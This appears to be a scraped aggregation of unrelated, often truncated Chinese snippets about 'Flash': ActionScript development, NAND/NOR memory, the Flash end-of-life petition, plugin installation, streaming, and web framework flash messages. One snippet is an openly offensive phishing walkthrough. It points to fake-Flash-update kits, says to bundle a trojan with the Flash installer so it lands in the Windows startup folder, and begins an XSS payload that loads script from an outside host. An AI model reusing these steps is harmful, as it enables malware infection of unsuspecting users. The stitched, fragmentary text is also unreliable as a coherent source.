“flash开发”发展到今天,大体上已经细分为二个分支:Flash 设计师 和 Flash程序员,然而设计师不懂代码,程序员不懂设计,如何把这二种角色有机结合起来,实现代码、界面分离?...然后程序员把这类包含(皮肤)素材的swf嵌入到程序代码中,用代码创建相应的实例,这样程序员用flash builder/flashdevelop做开发,设计师用flash cs做设计,互不相干。...如上图所示,这里库中放了三种基本的素材(按钮,位图,电影夹),然后在代码中可以这样处理: package { import flash.display.Sprite; import flash.display.DisplayObject...; import flash.display.SimpleButton; import flash.events.MouseEvent; import flash.display.MovieClip...; import flash.display.BitmapData; import flash.display.Bitmap; public class Demo extends MovieClip
DM368可以支持NOR Flash, NAND Flash, UART, SD Card启动等多种启动方式。对于NAND启动,DM365支持的特性如下: 不支持一次性全部固件下载启动。...支持需要片选信号在Tr读时间为低电平的NAND Flash。 在网络网络摄像机的应用中为了节约成本,有一些用户使用了NAND Flash启动方式。...然后UBL从NAND Flash里面读取U-Boot的内容并且复制到DDR里运行。DDR里面运行的U-Boot又从NAND Flash里面读取Linux内核代码,并且复制到DDR上,然后启动内核。...RBL会到多个块里面查找描述符是根据NAND Flash本身容易与坏块的特点而设计的。24块应该足以避免NAND Flash坏块的影响。...刚才在介绍NAND Flash启动原理的时候,我们提到了RBL需要到NAND Flash上面搜索特殊数字标志。这个特殊数字标志就是由烧写NAND的CCS的工程写到Flash上的。
在Adobe宣布到2020年让Flash播放器寿终正寝之后,现在网站开发人员Juha Linstedt发起了请愿运动,正在寻求让Adobe将Flash开源,用作互联网历史的一部分。...他们表示,Flash是互联网历史上重要的一块,杀死Flash意味着后代无法看到过去的历史。 Linstedt进一步解释说,通过这样做,它将保持Flash项目的生存和安全。...他已经开发出一套可视化方法,将SWF和FLA文件转换为HTML5,Canvas,WebGL或Webassembly。开发者的另一个建议是独立的浏览器,可以播放Flash内容。...此外,参与请愿的开发者认为,Adobe可能有一些许可的组件不能被公开使用。...尽管如此,Linstedt仍然希望这不会是一个障碍,他们呼吁Adobe请简单地留下某些组件被删除的说明,开发者将绕过它们,或者用开源替代方法来替换它们。
<button class="btn btn-default dropdown-toggle" type="bu...6.7K30
纵观现在国内绝大多数FLASH WEB GAME的规模和难度,我觉得前端AS人员大概需要2-7个之间,主程序有效代码一般不会超过10W行。...而这些工作在项目启动之初都是非常重要的,直接影响到项目中后期的开发和维护效率。 →上面提 到的那些点,我不可能全讲一遍,不然就不叫”浅谈FLASH WEB GAME”了!...先谈前端框架:现在市面上流行很多前端框架,不管是针 对”FLASH”的,”FLEX”的还是”通用的”都有。...3,我知道现在可能还有一些朋友在用FLASH IDE写代码,这些朋友的执着让人钦佩,但我想任何一个熟练使用过FLEX BUDIER、FD或者FDT的朋友,都绝不会再回头使用FLASH IDE写代码了。...相信任何有过游戏项目经验的人都应该能理解,UI也是 FLASH开发中的重头戏,很多细节的处理非常麻烦,在项目早期具有很大的工作量。
Intel于1988年首先开发出NOR flash技术,彻底改变了原先由EPROM和EEPROM一统天下的局面。...紧接着,1989年,东芝公司发表了NAND flash结构,强调降低每比特的成本,更高的性能,并且象磁盘一样可以通过接口轻松升级。...应用NAND的困难在于flash的管理和需要特殊的系统接口。 任何flash器件的写入操作只能在空或已擦除的单元内进行,所以大多数情况下,在进行写入操作之前必须先执行擦除。...一般地址线和数据线共用,对读写速度有一定影响;而NOR Flash闪存数据线和地址线分开,所以相对而言读写速度快一些。...NAND FLASH和NOR FLASH的共性 NAND和NOR芯片的共性首先表现在向芯片中写数据必须先将芯片中对应的内容清空,然后再写入,也就是通常说的“先擦后写”。
Flash插件概述 Flash插件一款安装于浏览器插件,即Adobe FlashPlayer Plugin,使浏览器得以播放swf文件。...Adobe Flash Player是一种广泛使用、专有的多媒体播放器,Adobe Flash Player 最初设计目的为播放2维向量动量,但至此之后成为适合开发创造丰富型互联网应用程序、流视频音频的工具...紧接着宽频网络网络即将进入我们的生活,相信Flash将会变得更普及。 Flash插件是一款高级客户端运行时使用的播放器。...Flash插件安装步骤 1.其实现在flash插件基本都是系统自带的了,但是如果你还少要安装,那么具体的安装过程如下:第一步:双击运行Flash插件下载最新版安装程序,打开Flash插件装包。...第四步:安装完成即可打开Flash插件 。 Flash插件使用及注意事项1、如何安全合理使用Flash插件? Flash插件是一款高级客户端运行时使用的播放器。
准备钓鱼套件https://github.com/r00tSe7en/Flash-Pop 美化版 https://github.com/hackxc/xss_flash 普通版 1.生成木马并捆绑flash...的安装程序 将木马与flash安装程序捆绑一起 木马解压位置:windows的自启动目录,这个百度钓鱼钓时间长就知道了。...//www.webweb.com/ 香港云可以白嫖 7、下面开始钓鱼 如果你想利用XSS钓鱼 可以使用src标签 构造payload:<scriptsrc="http://www.xx.com/<em>Flash</em>.cn
为了能更好的做好音视频监控和问题定位,便想自己实现一套flash直播简单的demo,在通过改变上行的带宽,码率,帧率,gop大小等信息来观察延时和首帧的情况。...客户端可以是 Flash Player 或 AIR 应用程序。...服务器可以是 Web 服务器、Flash Media Server、运行 Flash Remoting 的应用程序服务器或 Adobe Stratus服务。...有关详细信息,请参阅 Flash Remoting 文档。 ? 传递“rtmp/e/s”URL 可连接到 Flash Media Server 应用程序。 ?...调用 NetStream.play(),从本地磁盘、Web 服务器或 Flash Media Server 播放媒体文件。 ?
下面我们就来讲讲如何通过Fscommand指令来实现全屏播放、取消Flash播放时的右键 菜单以及关闭Flash动画。 ...若是在html中引用flash可在html文件中的前加上下面的语句:“透明Flash的使用方法:在插入flash的代码中插入<param name=”wmode” value=”transparent”...答:get url:mailto:flash8@flash8.net 69。...用Asp+Flash实现。...问:经常听到别人说到路径,到底FLASH中的路径起到一个什么作用? 答:如果你用过DOS,您就可以很容易理解FLASH的路径。
客户端可以是 Flash Player 或 AIR 应用程序。...服务器可以是 Web 服务器、Flash Media Server、运行 Flash Remoting 的应用程序服务器或 Adobe Stratus服务。...• 传递“http”URL 可连接到运行 Flash Remoting 的应用程序服务器。...有关详细信息,请参阅 Flash Remoting 文档。 • 传递“rtmp/e/s”URL 可连接到 Flash Media Server 应用程序。...• 调用 NetStream.play(),从本地磁盘、Web 服务器或 Flash Media Server 播放媒体文件。
说明 nvs是底层封装的一套把数据存储到flash里面的函数; 数据是以键值对的形式存储数据(就是标识符+数据的形式) 不如直接看代码 #include #include <string.h...include "freertos/queue.h" #include "freertos/event_groups.h" #include "esp_system.h" #include "nvs_flash.h..." #include "esp_log.h" void app_main(void) { //初始化 NVS esp_err_t err = nvs_flash_init();...err == ESP_ERR_NVS_NO_FREE_PAGES || err == ESP_ERR_NVS_NEW_VERSION_FOUND) { ESP_ERROR_CHECK(nvs_flash_erase...()); err = nvs_flash_init(); } ESP_ERROR_CHECK(err); /*操作nvs时用的句柄*/ nvs_handle_t
本文实例讲述了Android开发之Adobe flash操作工具类。...分享给大家供大家参考,具体如下: public class AdobeUtil { /** * 安装flash插件 */ public static void installAdobe...(final Context context) { new AlertDialog.Builder(context).setTitle("安装flash插件").setPositiveButton...public void onClick(DialogInterface dialog, int which) { } }).show(); } /** * 是否安装了flash...) { return true; } } return false; } } 更多关于Android相关内容感兴趣的读者可查看本站专题:《Android开发入门与进阶教程
其实在 Rails/Grails 里面就已经包含了一个机制,它将对象短暂地放置在 session 中,request-response 连续的两个环节后再清除掉这个短暂保存的对象,就叫是 Flash Scope
有关FLASH的一些基本操作 前言: 由于公司业务要求,我因为小学(还是初中)的时候学过一点点flash,就被赶鸭子上架的开始做起动画来了。。...很多操作还是非常不熟练,也不明白工具是干什么用的,但是勉强还是可以做出来一点,下面是一个初学者常用的基础操作,肯定是不全,就当是自己的一个学习记录 使用的软件是:animate 一 基本的概念 1 图层 一个flash
Flash制作跟我学用遮罩技术制作古诗动画 提示:遮罩—使用遮罩图层可以让Flash设计者有选择地显示图层的某些部分,应用遮罩需要创建一个图层成为遮罩的图层,而它下面的图层即成为被遮盖的图层。...1 准备一幅配合诗词意境的图片作为背景(古色古香的水墨画当属首选),根据图片的尺寸设计Flash文件的大小(本文创建尺寸为333×438像素,背景为蓝色)。
==================================================================== 一、apollo2 flash相关 flash大小:1MB(...0-0xFFFFF) M4的内存映射: 该内存映射的apollo2 mcu具体实现如下: 其中我们需要的flash内存地址为0x00000000-0x000FFFFF; 内存注册 OFFSET:...0x00000010 INSTANCE 0 ADDRESS: 0x40021010 二、存储子系统中的flash部分
今天为大家介绍Flash制作沿着路径的动画介绍,操作很简单的,一起来学习吧!...1、首先,打开flash软件,新建一个文件 2、这里,我演示一个红色圆的路径动画,利用快捷键ctrl+F8新建一个元件1,画一个圆 3、回到场景1,利用铅笔工具,随意画一条路径 4、新建一个图层,...会变成一个小蘑菇一个的东西,如图所示 选择元件1圆图层中的任意一帧—右击—创建传统补间,如图所示 7、将元件1圆图层向上拖一下,附属于铅笔路线图层,便可以实现路径动画了(轻轻向铅笔路线图层拖一下就行) 教程结束,以上就是Flash
W25QXX介绍 W25Q64是一颗SPI接口的Flash存储芯片,是华邦W25QXX系列里的一个具体型号,这个系列里包含了W25Q16,W25Q32,W25Q64,W5Q128等等。...25Q 系列比普通的串行 Flash 存储器更灵活,性能更优越。基于双倍/四倍的 SPI,它们能够可以立即完成提供数据给 RAM, 包括存储声音、文本和数据。...硬件环境 当前测试使用的开发板采用友善之臂的Tiny4412开发板,芯片是三星的EXYNOS-4412,最高主频1.5GHZ。...开发板引出了SPI的IO口,这里使用的W25Q64是外置的模块,使用杜邦线与开发板的IO口连接。...开发板上引出的IO口都是5V和1.8V,为了方便供电,采用了一个USB转TTL模块提供电源,测试驱动。
而当我们想存入一条缓存的数据,让它只在下一次的请求内有效时,则可以使用 flash 方法。flash 方法接收两个参数,第一个为会话的键,第二个为会话的值,我们可以通过下面这行代码的为会话赋值。 ?...image.png 在控制器中定义闪存: session()->flash('success', '欢迎,您将在这里开启一段新的旅程~'); 之后我们可以使用 session()->get('success...foreach (['danger', 'warning', 'success', 'info'] as $msg) @if(session()->has($msg)) <div class="<em>flash</em>-message
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